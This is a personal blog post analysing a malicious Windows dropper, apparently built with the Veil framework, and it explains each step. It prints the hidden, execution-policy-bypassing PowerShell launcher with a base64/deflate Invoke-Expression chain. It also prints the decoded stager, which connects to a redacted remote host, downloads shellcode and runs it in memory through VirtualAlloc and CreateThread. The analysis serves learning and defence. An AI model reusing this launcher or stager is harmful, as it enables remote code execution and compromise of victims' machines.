Reversing Malacious Powershell Scripts and making a custom....(later on)
- 8 minsYup so the journey started when recently i saw a exe that was just a 90kb file and was opening a reverse shell, file having this much of size quite amazing right well it was doing much of doing nothing just dropping a .bat script executing it with cmd.exe
Update: while writing this blog post and it was completed around 80% i came to know about veil’s framework which earlier i had no clue. Pretty sad : ( right still i will publish it :)
Do you wanna see the .bat script contents lezz go.
@shift /0
@echo off
%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"Base64-encoded-powershell payload\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
This was the script that dropped and you can see the powershell execution here on
Less break down the Batch script:
- @shift /0
It justs shift the input parameters by one for eg in test.bat 1 2
- %0 %1 %2
input in a terminal as per the cmd %0 here is test.bat but by putting @shift /0 we just shifted parameters by one that means now the 1 argument is %0 and argument for test.bat is lost for now.
- @echo off
We can split this command into two parts @
and echo off
first as per the terminal if you put up any command let’s say .bat script is ` echo %1 ` and executing it as ` test.bat a ` the output of it would be
C:\Users\<username>> echo 321
321
even putting the command echo 321
in the terminal if same we put the contents as @echo %1
and then it would only print out %1 parameter not the echo part
C:\Users\<username>>
321
- The Big Brain Powershell execution
%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"Base64-encoded-powershell payload\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
Let’s again split it into two parts:-
-
%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command
-
“Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String("Base64-encoded-powershell payload")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();”
Let’s start by working on first part:
Powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command “codeblock”
-
-NoP/ -noprofile: Does not load the PowerShell profile.
-
-NonI / -NonInteractive : Does not present an interactive prompt to the user.
-
-W / -WindowStyle Sets the window style for the session. Valid values are Normal, Minimized, Maximized and Hidden. Hides the CMD prompt while the payload is executing
-
-Exec Bypass: To bypass the restriction of not running payload and scripts in powershell.
-
-Command: Executes the specified commands / codeblock
In our case a string is passed cause the execution is passed through cmd otherwise similar execution through powershell could be in a script block
In our case execution was of term like Let’s see execution at Get-Process in both Powershell and CMD
To execute in CMD: powershell.exe -Command “Get-Process”
To execute in Powershell: poweshell -Command {Get-Process}
Both the execution produces same output.
Tip: If the value of Command is a string, Command must be the last parameter for push, because all arguments following it are interpreted as part of the command to execute.
Now let’s focus on the second part:
"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"Base64-encoded-powershell payload\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
Let’s break it down:
- Invoke-Expression is to execute a command for eg:
PSscript.ps1
$a = Get-Process
$a
would print only Get-Process
not its output thats why we need Invoke-Expression/iex and there are some more to execute the command
$a = Get-Process
Invoke-Expression $a
would print the output of Get-Process
[Note: Variable denotion in powershell script is ‘$a’ it could have any-type $a = “string here” or $a = 213]
Now:
New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"Base64-encoded-powershell-payload\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
Let’s convert it into readable format:
$a = “Base64-encoded-Payload”
$decoded = [Convert]::FromBase64String($a)
$input = New-Object System.IO.MemoryStream(, $decoded)
$deflateStream = New-Object System.IO.StreamReader(New-Object System.IO.Compression.DeflateStream $input, ([IO.Compression.CompressionMode]::Decompress))
$deflateStream.ReadToEnd()
Can be further broken down let’s define the algorithm working here:
- The input Base64-encoded-powershell-payload is first decoded to decoded bytes from base64 string at the $decoded variable.
- Then it’s being fed into a MemoryStream at the $input variable.
- Then its been decompressed from deflate Compression to string.
- Atlast it’s fed into StreamReader
Combining Step 3 and Step 4 in $deflateStream variable and atlast used the $deflateStream.ReadToEnd() to print out the decoded string
[Note: try to use this script in Windows Powershell ISE, search it in your windows search bar]
Generally two types of compressions are used either GzipStream or DeflateStream to decompress them just change the the word DeflateStream to GzipStream and its done…..
Now at the more inner part let’s take a look at the Base64 decoded script that caused me for looking into this….
$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
"@
try{
$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
$s.Connect('redactated-ip-address', redactatedport) | out-null;
$p = [Array]::CreateInstance("byte", 4);
$x = $s.Receive($p) | out-null;
$z = 0
$y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5);
$y[0] = 0xBF
while ($z -lt [BitConverter]::ToInt32($p,0)) {
$z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) }
for ($i=1; $i -le 4; $i++) {
$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]
}
$t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;
$x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40)
[System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length)
$t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}
As for the given decoded after some searching it out on it, I found out it was part of veil’s framework and using Graebers technique by using some imports like VirtualAlloc to allocate and inject shellcode into memory to start execution.
Refrences:
- https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1
- http://chernodv.blogspot.com/2014/12/powershell-compression-decompression.html
- https://threat.tevora.com/dissecting-veil-evasion-powershell-payloads-and-converting-to-a-bind-shell/
- https://web.archive.org/web/20210305193022/http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html